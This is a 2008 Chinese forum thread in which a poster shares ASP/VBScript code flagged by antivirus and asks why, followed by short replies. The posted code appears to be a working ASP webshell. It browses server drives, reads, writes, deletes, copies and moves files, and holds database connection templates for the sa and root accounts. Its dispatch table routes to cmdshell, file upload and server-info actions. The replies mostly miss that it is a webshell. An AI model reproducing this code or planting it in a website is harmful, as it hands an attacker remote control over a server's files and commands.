代码有病毒，谁帮我看下。

cuichangzheng 2008-07-22 07:42:07

<%@ LANGUAGE = VBScript %>
<%%>

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<title><%=applicationname&" - "&serverip%></title>
<style type="text/css">

</style>

<script language="javascript">
<!--
function yesok(){
if (confirm("确认要执行此操作吗？"))
return true;
else
return false;
}

function showfolder(folder){
top.addrform.folderpath.value = folder;
top.addrform.submit();
}

function fullform(fname,faction){
top.hideform.fname.value = fname;
if(faction=="copyfile"){
dname = prompt("请输入复制到目标文件全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="movefile"){
dname = prompt("请输入移动到目标文件全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="copyfolder"){
dname = prompt("请输入移动到目标文件夹全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="movefolder"){
dname = prompt("请输入移动到目标文件夹全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="newfolder"){
dname = prompt("请输入要新建的文件夹全名称",fname);
top.hideform.fname.value = dname;
}else if(faction=="createmdb"){
dname = prompt("请输入要新建的mdb文件全名称,注意不能同名！",fname);
top.hideform.fname.value = dname;
}else if(faction=="compactmdb"){
dname = prompt("请输入要压缩的mdb文件全名称,注意文件是否存在！",fname);
top.hideform.fname.value = dname;
}else{
dname = "other";
}

if(dname!=null){
top.hideform.action.value = faction;
top.hideform.submit();
}else{
top.hideform.fname.value = "";
}
}

function dbcheck(){
if(dbform.dbstr.value == ""){
alert("请先连接数据库");
fulldbstr(0);
return false;
}
return true;
}

function fulldbstr(i){
if(i<0){
return false;
}
str = new array(12);
str[0] = "provider=microsoft.jet.oledb.4.0;data source=<%=repath(session("folderpath"))%>\\db.mdb";
str[1] = "driver={sql server};server=<%=serverip%>,1433;database=dbname;uid=sa;pwd=****";
str[2] = "driver={mysql};server=<%=serverip%>;port=3306;database=dbname;uid=root;pwd=****";
str[3] = "dsn=dsnname";
str[4] = "select * from [tablename] where id<100";
str[5] = "insert into [tablename](user,pass) values(\'gxgl_com\',\'mypass\')";
str[6] = "delete from [tablename] where id=100";
str[7] = "update [tablename] set user=\'gxgl_com\' where id=100";
str[8] = "create table [tablename](id int identity (1,1) not null,user varchar(50))";
str[9] = "drop table [tablename]";
str[10]= "alter table [tablename] add column pass varchar(32)";
str[11]= "alter table [tablename] drop column pass";
str[12]= "当只显示一条数据时即可显示字段的全部字节，可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
if(i<=3){
dbform.dbstr.value = str[i];
dbform.sqlstr.value = "";
abc.innerhtml="<center>请确认己连接数据库再输入sql操作命令语句。</center>";
}else if(i==12){
alert(str[i]);
}else{
dbform.sqlstr.value = str[i];
}
return true;
}

...全文

564 19 打赏收藏转发到动态举报

写回复

用AI写文章

19 条回复

切换为时间正序

请发表友善的回复…

发表回复

chenlong5420 2009-11-14

打赏
举报

楼主很强大，顶下

chenlong5420 2009-11-14

打赏
举报

楼主很强大，顶下

METEOR_T 2009-08-15

打赏
举报

楼主有前途！！

kalos2012 2009-08-05

打赏
举报

访问本地文件算是一种病毒行为

fengzhongpian 2009-06-26

打赏
举报

我也想看看,可惜啦

Adam_foxconn 2009-06-21

打赏
举报

访问本地磁盘，还有删除的功能？这样有病毒的特征

xjxhsjl 2009-06-03

打赏
举报

不懂。学习了！

班公湖里洗过脚 2009-04-24

打赏
举报

看不懂

sincor 2009-01-28

打赏
举报

楼主厉害病毒都写出来了呵呵以后可以和卡巴斯基对着干了有钱图

星球建造师 2009-01-21

打赏
举报

菜鸟我不知道

「已注销」 2009-01-02

打赏
举报

可能代码中有类似于病毒的特征码或行为

china_west 2009-01-01

打赏
举报

不知道

lizhengc 2008-10-26

打赏
举报

里面有访问本地文件和文件夹的内容，可能被认为是病毒把。

xiaoxiao555 2008-10-22

打赏
举报

同意4楼的说法！

BIGBIRDINWOODS 2008-07-25

打赏
举报

病毒在第三段。

cuichangzheng 2008-07-22

打赏
举报

以上三段代码是我分开发的。不然文字太多无法发布。这段代码有卡巴检查下有病毒。
请高手帮我看下。

cuichangzheng 2008-07-22

打赏
举报

class lbf
dim cf
private sub class_initialize
set cf=createobject(obt(0,0))
end sub

private sub class_terminate
set cf=nothing
end sub

function showdriver()
for each d in cf.drives
si=si&"<tr><td> "
si=si&isico("plus.gif","driver.gif","v")
si=si&"<a href='javascript:showfolder("""&d.driveletter&":\\"")'>本地磁盘 ("&d.driveletter&":)</a>"
si=si&"</td></tr>"
next
showdriver=si
end function

function fileico(fname)
if showfileico=true then
typelist = ".asp.asa.bat.bmp.com.doc.db.dll.exe.fla.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip"
filetype = lcase(mid(fname, instrrev(fname,".")+1))
if instr(typelist,"."&filetype)>0 then
ico = filetype&".gif"
else
ico = "default.gif"
end if

fileico = "<img src='"&icopath&ico&"' border='0'> "
else
fileico="<font face='wingdings' color='#006600' size='3'>2</font> "
end if
end function

function showfile(path)
set fold=cf.getfolder(path)
i=0
si="<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#efefef'><tr>"
for each f in fold.subfolders
si=si&"<td>"
si=si&isico("","folder.gif","0")
si=si&" <a href='javascript:showfolder("""&repath(path&"\"&f.name)&""")'>"&f.name&"</a>"
si=si&" | <a href='javascript:fullform("""&replace(path&"\"&f.name,"\","\\")&""",""delfolder"")' onclick='return yesok()' class='am' title='删除'>del</a>"
si=si&" <a href='javascript:fullform("""&repath(path&"\"&f.name)&""",""copyfolder"")' onclick='return yesok()' class='am' title='复制'>copy</a>"
si=si&" <a href='javascript:fullform("""&repath(path&"\"&f.name)&""",""movefolder"")' onclick='return yesok()' class='am' title='移动'>move</a>"
i=i+1
if i mod 3 = 0 then si=si&"</tr><tr>"
next
si=si&"</tr><tr><td height=5></td></tr></table>"
response.write si : si=""

for each l in fold.files
si="<table width='100%' border='0' cellspacing='1' cellpadding='0'>"
si=si&"<tr onmouseover=""this.classname='tr'"" onmouseout=""this.classname=''"">"
si=si&"<td height='20'>"&fileico(l.name)
si=si&"<a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""downfile"");' title='下载'>"&l.name&"</a></td>"
si=si&"<td width='140'>"&l.type&"</td>"
si=si&"<td width='50'>"&clng(l.size/1024)&"k</td>"
si=si&"<td width='120'>"&l.datelastmodified&"</td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""editfile"")' class='am' title='编辑'>edit</a></td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""delfile"")' onclick='return yesok()' class='am' title='删除'>del</a></td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""copyfile"")' class='am' title='复制'>copy</a></td>"
si=si&"<td width='40' align=""center""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""movefile"")' class='am' title='移动'>move</a></td>"
si=si&"</tr></table>"
response.write si : si=""
next
set fold=nothing
end function

function delfile(path)
if cf.fileexists(path) then
cf.deletefile path
si="<center><br><br><br>文件 "&path&" 删除成功！</center>"
si=si&backurl
response.write si
end if
end function

function editfile(path)
if request("action2")="post" then
set t=cf.createtextfile(path)
t.writeline request.form("content")
t.close
set t=nothing
si="<center><br><br><br>文件保存成功！</center>"
si=si&backurl
response.write si
response.end
end if

if path<>"" then
set t=cf.opentextfile(path, 1, false)
txt=htmlencode(t.readall)
t.close
set t=nothing
else
path=session("folderpath")&"\newfile.asp":txt="新建文件"
end if

si="<table width='100%' height='100%'><tr><td valign='top' align='center'>"
si=si&"<form action='"&url&"?action2=post' method='post' name='editform'>"
si=si&"<input name='action' value='editfile' type='hidden'>"
si=si&"<input name='fname' value='"&path&"' style='width:100%'><br>"
si=si&"<textarea name='content' style='width:100%;height:450'>"&txt&"</textarea><br>"
si=si&"<hr><input name='goback' type='button' value='返回' onclick='history.back();'> <input name='reset' type='reset' value='重置'> <input name='submit' type='submit' value='保存'></form>"
si=si&"</td></tr></table></body></html>"
response.write si
end function

function copyfile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.copyfile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"复制成功！</center>"
si=si&backurl
response.write si
end if
end function

function movefile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.movefile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"移动成功！</center>"
si=si&backurl
response.write si
end if
end function

function delfolder(path)
if cf.folderexists(path) then
cf.deletefolder path
si="<center><br><br><br>目录"&path&"删除成功！</center>"
si=si&backurl
response.write si
end if
end function

function copyfolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.copyfolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"复制成功！</center>"
si=si&backurl
response.write si
end if
end function

function movefolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.movefolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"移动成功！</center>"
si=si&backurl
response.write si
end if
end function

function newfolder(path)
if not cf.folderexists(path) and path<>"" then
cf.createfolder path
si="<center><br><br><br>目录"&path&"新建成功！</center>"
si=si&backurl
response.write si
end if
end function
end class

select case action
case "mainmenu":mainmenu()
case "showfile"
set abc=new lbf:abc.showfile(session("folderpath")):set abc=nothing
case "downfile":downfile fname:showerr()
case "delfile"
set abc=new lbf:abc.delfile(fname):set abc=nothing
case "editfile"
set abc=new lbf:abc.editfile(fname):set abc=nothing
case "copyfile"
set abc=new lbf:abc.copyfile(fname):set abc=nothing
case "movefile"
set abc=new lbf:abc.movefile(fname):set abc=nothing
case "delfolder"
set abc=new lbf:abc.delfolder(fname):set abc=nothing
case "copyfolder"
set abc=new lbf:abc.copyfolder(fname):set abc=nothing
case "movefolder"
set abc=new lbf:abc.movefolder(fname):set abc=nothing
case "newfolder"
set abc=new lbf:abc.newfolder(fname):set abc=nothing
case "upfile":upfile()
case "logout":session.contents.remove("gxgl"):response.redirect url
case "cmdshell":cmdshell()
case "createmdb":createmdb fname
case "compactmdb":compactmdb fname
case "dbmanager":dbmanager()
case "serverinfo":serverinfo()
case else mainform()
end select
showerr()
%>
</body>
</html>

cuichangzheng 2008-07-22